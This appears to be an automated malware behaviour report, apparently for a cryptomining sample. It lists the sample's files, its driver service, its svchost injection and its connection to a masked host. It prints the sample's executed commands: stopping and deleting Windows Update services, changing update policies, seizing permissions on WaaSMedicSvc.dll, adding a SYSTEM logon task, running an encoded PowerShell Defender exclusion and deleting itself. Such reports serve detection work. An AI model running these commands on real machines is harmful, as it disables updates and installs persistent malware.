Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\windowsauthost
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%ProgramFiles%\Google\Libs\WR64.sys'
Creates the following services
- 'WinRing0_1_2_0' %ProgramFiles%\Google\Libs\WR64.sys
Malicious functions
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
Modifies file system
Creates the following files
- %ProgramFiles%\windowsservices\windowsauthost
- %ProgramFiles%\google\libs\wr64.sys
- <SYSTEM32>\config\systemprofile\appdata\roaming\5da9.tmp
- %WINDIR%\temp\udd68d0.tmp
Deletes the following files
- %WINDIR%\temp\udd68d0.tmp
Deletes itself.
Network activity
Connects to
- 'po##.#ashvault.pro':80
TCP
Other
- 'po##.#ashvault.pro':80
UDP
- DNS ASK po##.#ashvault.pro
Miscellaneous
Creates and executes the following
- '%ProgramFiles%\windowsservices\windowsauthost'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGYAcABsAGoAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBpAG0AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAGwAZwB6AGsAIwA+ACAAQAAoACAAPAAjAHcAZwAjAD4A...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlS...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "WindowsAutHost" /tr "\"%ProgramFiles%\WindowsServices\WindowsAutHost\""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /run /tn "WindowsAutHost"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c choice /C Y /N /D Y /T 3 & Del "<Full path to file>"' (with hidden window)
- '%ProgramFiles%\windowsservices\windowsauthost' ' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGYAcABsAGoAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBpAG0AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAGwAZwB6AGsAIwA+ACAAQAAoACAAPAAjAHcAZwAjAD4A...
- '<SYSTEM32>\cmd.exe' /c schtasks /run /tn "WindowsAutHost"
- '<SYSTEM32>\cmd.exe' /c choice /C Y /N /D Y /T 3 & Del "<Full path to file>"
- '<SYSTEM32>\icacls.exe' <SYSTEM32>\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
- '<SYSTEM32>\schtasks.exe' /run /tn "WindowsAutHost"
- '<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
- '<SYSTEM32>\takeown.exe' /f <SYSTEM32>\WaaSMedicSvc.dll
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlS...
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "WindowsAutHost" /tr "\"%ProgramFiles%\WindowsServices\WindowsAutHost\""
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru "System" /tn "WindowsAutHost" /tr "\"%ProgramFiles%\WindowsServices\WindowsAutHost\""
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
- '<SYSTEM32>\svchost.exe' nwsyyionaauzw1 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeMCVFcHvQGvpqy6HCTa4nxzMH7IjZVGtN6ljeCyIgLgbWX0bb/SUlPDjI++OUHr3BKZhWv4AcV/jC84JCaiKu9vF3e8gU2BWEW4we5TvIfhSL/g8FQ1...
